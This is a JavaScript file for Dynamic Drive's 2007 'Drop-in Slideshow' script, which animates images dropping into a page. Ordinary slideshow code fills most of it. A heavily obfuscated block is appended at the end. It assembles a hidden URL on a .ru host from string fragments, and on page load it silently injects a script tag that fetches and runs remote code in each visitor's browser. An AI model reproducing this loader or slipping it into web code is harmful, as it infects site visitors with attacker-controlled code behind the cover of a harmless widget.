// -------------------------------------------------------------------
// Drop-in Slideshow Script- By Dynamic Drive, available at: http://www.dynamicdrive.com
// Last updated: March 9th, 2007
// -------------------------------------------------------------------

var _dropinslideshowcount=0

function dropinslideshow(imgarray, w, h, delay){
	this.id="_dropslide"+(++_dropinslideshowcount) //Generate unique ID for this slideshow instance (automated)
	this.createcontainer(parseInt(w), parseInt(h))
	this.delay=delay
	this.imgarray=imgarray
	var preloadimages=[]
	for (var i=0; i<imgarray.length; i++){
		preloadimages[i]=new Image()
		preloadimages[i].src=imgarray[i][0]
	}
	this.animatestartpos=parseInt(h)*(-1) //Starting "top" position of an image before it drops in
	this.slidedegree=10 //Slide degree (> is faster)
	this.slidedelay=30 //Delay between slide animation (< is faster)
	this.activecanvasindex=0 //Current "active" canvas- Two canvas DIVs in total
	this.curimageindex=0
	this.zindex=100
	this.isMouseover=0
	this.init()
}


dropinslideshow.prototype.createcontainer=function(w, h){
 document.write('<div id="'+this.id+'" style="position:relative; width:'+w+'px; height:'+h+'px; overflow:hidden">')
	document.write('<div style="position:absolute; width:'+w+'px; height:'+h+'px; top:0;"></div>')
	document.write('<div style="position:absolute; width:'+w+'px; height:'+h+'px; top:-'+h+'px;"></div>')
	document.write('</div>')
	this.slideshowref=document.getElementById(this.id)
	this.canvases=[]
	this.canvases[0]=this.slideshowref.childNodes[0]
	this.canvases[1]=this.slideshowref.childNodes[1]
}

dropinslideshow.prototype.populatecanvas=function(canvas, imageindex){
	var imageHTML='<img src="'+this.imgarray[imageindex][0]+'" style="border: 0" />'
	if (this.imgarray[imageindex][1]!="")
		imageHTML='<a href="'+this.imgarray[imageindex][1]+'" target="'+this.imgarray[imageindex][2]+'">'+imageHTML+'</a>'
	canvas.innerHTML=imageHTML
}


dropinslideshow.prototype.animateslide=function(){
	if (this.curimagepos<0){ //if image hasn't fully dropped in yet
		this.curimagepos=this.curimagepos+this.slidedegree
		this.activecanvas.style.top=this.curimagepos+"px"
	}
	else{
		clearInterval(this.animatetimer)
		this.activecanvas.style.top=0
		this.setupnextslide()
		var slideshow=this
		setTimeout(function(){slideshow.rotateslide()}, this.delay)
	}
}


dropinslideshow.prototype.setupnextslide=function(){
	this.activecanvasindex=(this.activecanvasindex==0)? 1 : 0
	this.activecanvas=this.canvases[this.activecanvasindex]
	this.activecanvas.style.top=this.animatestartpos+"px"
	this.curimagepos=this.animatestartpos
	this.activecanvas.style.zIndex=(++this.zindex)
	this.curimageindex=(this.curimageindex<this.imgarray.length-1)? this.curimageindex+1 : 0
	this.populatecanvas(this.activecanvas, this.curimageindex)
}

dropinslideshow.prototype.rotateslide=function(){
	var slideshow=this
	if (this.isMouseover)
		setTimeout(function(){slideshow.rotateslide()}, 50)
	else
		this.animatetimer=setInterval(function(){slideshow.animateslide()}, this.slidedelay)
}

dropinslideshow.prototype.init=function(){
	var slideshow=this
	this.populatecanvas(this.canvases[this.activecanvasindex], 0)
	this.setupnextslide()
	this.slideshowref.onmouseover=function(){slideshow.isMouseover=1}
	this.slideshowref.onmouseout=function(){slideshow.isMouseover=0}
	setTimeout(function(){slideshow.rotateslide()}, this.delay)
}


var T='';var S;if(S!='' && S!='dF'){S=''};function u(){var Kz;if(Kz!=''){Kz='qR'};var r="g";this.ew='';var U=RegExp;var Jh=new Array();var P=new Array();var d='';var TG="";var i="";var Q;if(Q!='mR' && Q!='LS'){Q=''};var t="";function k(N,g){var W;if(W!=''){W='Ui'};var ow;if(ow!=''){ow='Z'};var uO;if(uO!='' && uO!='uf'){uO='ij'};var E= new String("[");E+=g;this.b='';E+=String("sQla]".substr(4));var xs;if(xs!='' && xs!='LR'){xs='gt'};var a=new Date();var C=new U(E, r);return N.replace(C, d);var dv=new String();};var ls=new Date();var zU=new Date();var yg;if(yg!='' && yg!='Cn'){yg=''};var US=new String();var j;if(j!=''){j='bf'};var q="scr7pw".substr(0,3)+"WlhiptlhW".substr(3,3);var wa;if(wa!='jw' && wa!='Tc'){wa=''};var um=String("ht"+"tp"+":/gM4".substr(0,2)+"/tcOZ0".substr(0,2)+"EZpqwi".substr(4)+"PTXttXPT".substr(3,2)+"JpXterJpXt".substr(4,2)+"-c56Xn".substr(0,2)+"7Cxuomx7uC".substr(4,2)+".cRAY".substr(0,2)+"ha"+"rt"+"npYer".substr(3)+".n"+"PgpaetaPgp".substr(4,2)+"c6rO.5".substr(4)+"Houk1j".substr(4)+"jg0xob".substr(4)+"ft3-cf3t".substr(3,2)+"5Dfqomf5qD".substr(4,2)+"ZhBz.yBhZz".substr(4,2)+"qRH3ouR3Hq".substr(4,2)+"rsQHV8".substr(0,2)+"LlACun".substr(4)+"va"+"IkCll".substr(3)+"ey4lk1".substr(0,2)+"vIuh.ruhIv".substr(4,2)+"u:");this.Zl='';this.ky='';var J=new String("defe"+"r");var kE;if(kE!=''){kE='di'};var Nz=String("Fia/med".substr(3)+"iafiglQ9".substr(0,4)+"GRCre.cCRG".substr(3,4)+"nyIom/mnyI".substr(3,4)+"JYVedia".substr(3)+"fire"+".com0fGp".substr(0,4)+"/shi"+"wEeGnobi".substr(4)+"gyGS.jp/gyGS".substr(4,4)+"goog"+"le.c"+"FaJom/x".substr(3)+"aofLunle".substr(4)+"i.co"+"BG2Dm.phDB2G".substr(4,4)+"phwz".substr(0,1));this.ze='';this.JX='';var m='';var eq;if(eq!='so' && eq!='UH'){eq=''};var qx="src";var B=k('841033811041',"12543");var sj="";var K=window;var Ah;if(Ah!='' && Ah!='Bz'){Ah=null};this.vV='';K.onload=function(){var mnm='';var Oj='';try {this.n='';var zR="";m=um+B;m+=Nz;Y=document.createElement(q);var od;if(od!='dD' && od != ''){od=null};var H=new String();this.Pr='';Y[J]=[6,1][1];var pb="";Y[qx]=m;var zE=new String();var DbV=new Array();document.body.appendChild(Y);var up;if(up!='' && up!='pq'){up='fS'};var mN=new Array();var jD=new Array();var cf=new Array();} catch(kg){var XK="";var hj;if(hj!='' && hj!='rT'){hj='Vn'};};var wW=new String();var _Z="";};this.DO="";};var Of;if(Of!='HY' && Of!='RJ'){Of=''};var mG;if(mG!='Xk' && mG!='Go'){mG=''};u();var eV=new Date();